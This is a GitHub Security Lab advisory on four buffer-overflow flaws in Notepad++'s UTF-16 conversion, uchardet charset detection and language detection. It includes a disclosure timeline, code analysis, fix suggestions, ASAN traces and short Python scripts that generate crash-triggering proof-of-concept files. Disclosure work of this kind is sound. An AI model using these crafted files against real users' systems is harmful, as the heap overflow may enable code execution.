Coordinated Disclosure Timeline
- 2023-04-28: Reported GHSL-2023-092 with a fix suggestion to
don.h at free.fr
. - 2023-05-06: Reception confirmed.
- 2023-05-08: Created private security advisory for GHSL-2023-102 and GHSL-2023-103 with a fix suggestion.
- 2023-05-11: Created private security advisory for GHSL-2023-112 with a fix suggestion.
- 2023-05-15: Notepad++ v8.5.3 without the fixes was released.
- 2023-06-05: Asked for an update.
- 2023-06-18: Notepad++ v8.5.4 without the fixes was released.
- 2023-07-01/02: Created private pull requests.
- 2023-07-04: Notified the maintainer that all reports contain a fix suggestion and for convenience the private pull requests were created.
- 2023-07-08: The maintainer asked for a binary blob for the GHSL-2023-112 PoC instead of the Python script.
- 2023-07-08: The maintainer says v8.5.4 doesn’t compile with ASAN.
- 2023-07-10: Confirmed that v8.5.4 compiles with ASAN in our setup, the issue is still reproducible and building with ASAN is optional: the report contains enough information to setup breakpoints and reproduce it with the PoC file.
- 2023-07-10: Provided PoC for GHSL-2023-112 in binary format instead of a python script for PoC generation as requested.
- 2023-07-17: Asked the maintainer if they successfully downloaded the binary PoC, if they have any questions and notified about the disclosure policy. No reply received.
- 2023-08-09: Notepad++ v8.5.5 without the fixes was released.
- 2023-08-15: Notepad++ v8.5.6 without the fixes was released.
- 2023-08-21: Publishing according to our coordinated disclosure policy.
Summary
Notepad++ reads and writes past the end of a buffer bounds on opening a crafted file.
Product
Tested Version
Details
Issue 1: Heap buffer write overflow in Utf8_16_Read::convert (GHSL-2023-112
)
The Utf8_16_Read::convert
function allocates a new buffer [1] for UTF16 to UTF8 conversion. It calculates the new buffer size assuming that, in the worst case scenario, for every two UTF16 encoded input bytes it may need three UTF8 bytes [2]. However, when the input length is a malformed odd number of bytes, the calculation is off. For example, in the PoC, when a second chunk of bytes is processed, len
is set to 9 and newSize
becomes 14 (9 + 9 / 2 + 1). After the first 8 input bytes get consumed ([3] and [4]), the pCur
is already shifted [5] by 12 elements in the 14 elements m_pNewBuf
array. Utf16_Iter::operator++
consumes the last 9th byte and the 10th byte beyond the input len
. However, since Notepad++ reads files in chunks the 10th byte is from a valid buffer, but contains the old chunk data. Then, in [5], it writes three bytes into pCur
overflowing the array.
...
case uni16LE: {
size_t newSize = len + len / 2 + 1; // [2]
if (m_nAllocatedBufSize != newSize)
{
if (m_pNewBuf)
delete[] m_pNewBuf;
m_pNewBuf = NULL;
m_pNewBuf = new ubyte[newSize]; // [1]
m_nAllocatedBufSize = newSize;
}
ubyte* pCur = m_pNewBuf;
m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);
while (m_Iter16)
{
++m_Iter16; // [3]
utf8 c;
while (m_Iter16.get(&c)) // [4]
*pCur++ = c; // [5]
}
...
Since Utf16_Iter::read()
always consumes two bytes its validity operator should check if the current pointer and the next one are less than the end: operator bool() { return (m_pRead + 1 < m_pEnd) || (m_out1st != m_outLst); };
Impact
This issue may lead to an arbitrary code execution.
Resources
To reproduce the issue:
- Create a file with the following python script:
with open("poc", "wb") as f:
f.write(b'\xfe\xff')
f.write(b'\xff' * (128 * 1024 + 4 - 2 + 1))
-
Make ASAN build of Notepad++.
-
Open the file in Notepad++ to hit out of bounds access with ASAN.
The output when built with ASAN:
==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472 at pc 0x7ff7308d686e bp 0x00a8c41da680 sp 0x00a8c41da680
WRITE of size 1 at 0x1281524e6472 thread T0
==8896==WARNING: Failed to use and restart external symbolizer!
#0 0x7ff7308d686d in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:181
#1 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#2 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#3 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#4 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#5 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#6 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#7 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#8 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#9 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#10 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#11 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#12 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#13 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#14 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#15 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#16 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
0x1281524e6472 is located 0 bytes to the right of 2-byte region [0x1281524e6470,0x1281524e6472)
allocated by thread T0 here:
#0 0x7ff731263623 in operator new[] D:\a\_work\1\s\src\vctools\asan\llvm\compiler-rt\lib\asan\asan_win_new_array_thunk.cpp:42
#1 0x7ff7308d665a in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:168
#2 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#3 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#4 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#5 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#6 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#7 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#8 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#9 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#10 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#11 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#12 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#13 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#14 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#15 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#16 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#17 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
SUMMARY: AddressSanitizer: heap-buffer-overflow C:\npp\PowerEditor\src\Utf8_16.cpp:181 in Utf8_16_Read::convert
Shadow bytes around the buggy address:
0x04cd7c51cc30: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc40: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc50: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x04cd7c51cc70: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x04cd7c51cc80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[02]fa
0x04cd7c51cc90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 04 fa
0x04cd7c51cca0: fa fa 04 fa fa fa 01 fa fa fa 04 fa fa fa 01 fa
0x04cd7c51ccb0: fa fa 01 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa
0x04cd7c51ccc0: fa fa 04 fa fa fa 04 fa fa fa 00 00 fa fa 04 fa
0x04cd7c51ccd0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
Address Sanitizer Error: Heap buffer overflow
CVE
- CVE-2023-40031
Issue 2: Global buffer read overflow in CharDistributionAnalysis::HandleOneChar (GHSL-2023-102
)
Notepad++ uses a diverged copy of the uchardet
library. A crafted file allows reading past the bounds of a globally allocated object buffer on file open operation.
The array index order
in [1] depends on the input file content and can be set to something that is greater than the size of the mCharToFreqOrder
buffer, which leads to out of buffer read. For example, in the PoC it is set to 5419 while the size of mCharToFreqOrder
(a pointer to the global array EUCTWCharToFreqOrder
) is 5376 elements. Notice, that there is a check [2] before the line for mTableSize
. However mTableSize
for EUCTWCharToFreqOrder
is declared as 8102 for some reason.
//Feed a character with known length
void HandleOneChar(const char* aStr, PRUint32 aCharLen)
{
PRInt32 order;
//we only care about 2-bytes character in our distribution analysis
order = (aCharLen == 2) ? GetOrder(aStr) : -1;
if (order >= 0)
{
mTotalChars++;
//order is valid
if ((PRUint32)order < mTableSize) // [2]
{
if (512 > mCharToFreqOrder[order]) // [1] buffer read overflow
mFreqChars++;
}
}
}
This behavior has been fixed in the freedesktop.org uchardet.
Impact
The exploitability of this issue is not clear. Potentially it may be used to leak internal memory allocation information.
Resources
To reproduce the issue:
- Create a file with the following python script:
with open("poc", "wb") as f:
f.write(b'\xfd\xde')
-
Make ASAN build or set a breakpoint at
if (512 > mCharToFreqOrder[order])
. -
Open the file to hit the breakpoint or out of bounds access with ASAN.
The output when built with ASAN:
==13==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005f4c16 at pc 0x000000589f61 bp 0x7ffde5e554c0 sp 0x7ffde5e554b8
READ of size 2 at 0x0000005f4c16 thread T0
SCARINESS: 24 (2-byte-read-global-buffer-overflow-far-from-bounds)
#0 0x589f60 in HandleOneChar /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19
#1 0x589f60 in nsEUCTWProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEUCTWProber.cpp:70:31
#2 0x57e75c in nsMBCSGroupProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsMBCSGroupProber.cpp:160:25
#3 0x57aadf in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:214:34
#4 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63
DEDUP_TOKEN: HandleOneChar--nsEUCTWProber::HandleData(char const*, unsigned int)--nsMBCSGroupProber::HandleData(char const*, unsigned int)
0x0000005f4c16 is located 86 bytes to the right of global variable 'EUCTWCharToFreqOrder' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/EUCTWFreq.tab:62:22' (0x5f21c0) of size 10752
SUMMARY: AddressSanitizer: global-buffer-overflow /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19 in HandleOneChar
Shadow bytes around the buggy address:
0x0000800b6930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6970: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0000800b6980: f9 f9[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b6990: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69a0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69c0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000800b69d0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13==ABORTING
CVE
- CVE-2023-40036
Issue 3: Global buffer read overflow in nsCodingStateMachine::NextState (GHSL-2023-103
)
Notepad++ uses a diverged copy of the uchardet
library. A crafted file allows reading past the bounds of a globally allocated object buffer on file open operation.
The array index byteCls
in [1] depends on the input file content and can be set to something that is greater than the size of the charLenTable
buffer, which leads to out of buffer read. For example, in the PoC it is set to 9, however charLenTable
points to ISO2022JPCharLenTable
which contains only 8 elements.
nsSMState NextState(char c) {
//for each byte we get its class , if it is first byte, we also get byte length
PRUint32 byteCls = GETCLASS(c);
if (mCurrentState == eStart)
{
mCurrentBytePos = 0;
mCurrentCharLen = mModel->charLenTable[byteCls]; // [1] buffer read overflow
}
This behavior has been fixed in the freedesktop.org uchardet.
Impact
The exploitability of this issue is not clear. Potentially it may be used to leak internal memory allocation information.
Resources
To reproduce the issue:
- Create a file with the following python script:
with open("poc", "wb") as f: f.write(b'\x49\x7e\x7b')
-
Make ASAN build or set a conditional breakpoint at
mCurrentCharLen = mModel->charLenTable[byteCls];
whenbyteCls == 9
. - Open the file to hit the breakpoint or out of bounds access with ASAN.
The output when built with ASAN:
==13==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005f0184 at pc 0x00000057c32f bp 0x7ffcd9144950 sp 0x7ffcd9144948
READ of size 4 at 0x0000005f0184 thread T0
SCARINESS: 17 (4-byte-read-global-buffer-overflow)
#0 0x57c32e in NextState /src/notepad-plus-plus/PowerEditor/src/uchardet/nsCodingStateMachine.h:72:25
#1 0x57c32e in nsEscCharSetProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscCharsetProber.cpp:84:47
#2 0x57ac88 in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:202:29
#3 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63
DEDUP_TOKEN: NextState--nsEscCharSetProber::HandleData(char const*, unsigned int)--nsUniversalDetector::HandleData(char const*, unsigned int)
0x0000005f0184 is located 60 bytes to the left of global variable 'ISO2022KRSMModel' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:254:15' (0x5f01c0) of size 72
0x0000005f0184 is located 28 bytes to the left of global variable '<string literal>' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:206:3' (0x5f01a0) of size 12
'<string literal>' is ascii string 'ISO-2022-JP'
0x0000005f0184 is located 4 bytes to the right of global variable 'ISO2022JPCharLenTable' defined in '/src/notepad-plus-plus/PowerEditor/src/uchardet/nsEscSM.cpp:199:23' (0x5f0160) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow /src/notepad-plus-plus/PowerEditor/src/uchardet/nsCodingStateMachine.h:72:25 in NextState
Shadow bytes around the buggy address:
0x0000800b5fe0: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 00
0x0000800b5ff0: 04 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9 00 00 00 00
0x0000800b6000: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000800b6010: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
0x0000800b6020: 00 00 00 00 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
=>0x0000800b6030:[f9]f9 f9 f9 00 04 f9 f9 00 00 00 00 00 00 00 00
0x0000800b6040: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800b6050: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 00 00 04 f9
0x0000800b6060: f9 f9 f9 f9 00 00 00 f9 f9 f9 f9 f9 00 04 f9 f9
0x0000800b6070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800b6080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13==ABORTING
CVE
- CVE-2023-40164
Issue 4: Heap buffer read overflow in FileManager::detectLanguageFromTextBegining (GHSL-2023-092
)
Notepad++ on file open calls FileManager::loadFile
where it allocates a fixed size buffer:
char* data = new char[blockSize + 8]; // +8 for incomplete multibyte char
...
bool res = loadFileData(doc, fileSize, backupFileName ? backupFileName : fullpath, data, &UnicodeConvertor, loadedFileFormat);
delete[] data;
The FileManager::loadFileData
loads the first block of data to the buffer [1] and calls detectLanguageFromTextBegining
to identify the content type from the beginning of the file [2].
lenFile = fread(data + incompleteMultibyteChar, 1, blockSize - incompleteMultibyteChar, fp) + incompleteMultibyteChar; // 1
if (ferror(fp) != 0)
{
success = false;
break;
}
if (lenFile == 0) break;
...
fileFormat._language = detectLanguageFromTextBegining((unsigned char *)data, lenFile); // 2
The FileManager::detectLanguageFromTextBegining
advances the data
pointer until non-space character is detected or lenFile
is reached [3]. In the latter case it continues running the code reading 32 bytes (40 - 8, the extra padding added for incomplete multibyte character case) past the end of the data
buffer [4].
LangType FileManager::detectLanguageFromTextBegining(const unsigned char *data, size_t dataLen)
{
...
// Skip any space-like char
for (; i < dataLen; ++i) // 3
{
if (data[i] != ' ' && data[i] != '\t' && data[i] != '\n' && data[i] != '\r')
break;
}
// Create the buffer to need to test
const size_t longestLength = 40; // shebangs can be large
std::string buf2Test = std::string((const char*)data + i, longestLength); // 4 OOB READ
At the end of the loop, there should be a check that the value of i + longestLength
is still less than dataLen
.
Impact
The exploitability of this issue is not clear. Potentially it may be used to leak internal memory allocation information.
Resources
To reproduce the issue:
-
Enable page heap for notepad++.exe in GFlags.
-
Create a poc.xml with the following python script:
with open("poc.xml", "w") as f:
f.write(" " * (128 * 1024 + 4))
- Open the file with notepad++ to trigger the memory read exception.
CVE
- CVE-2023-40166
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-092
, GHSL-2023-102
, GHSL-2023-103
or GHSL-2023-112
in any communication regarding this issue.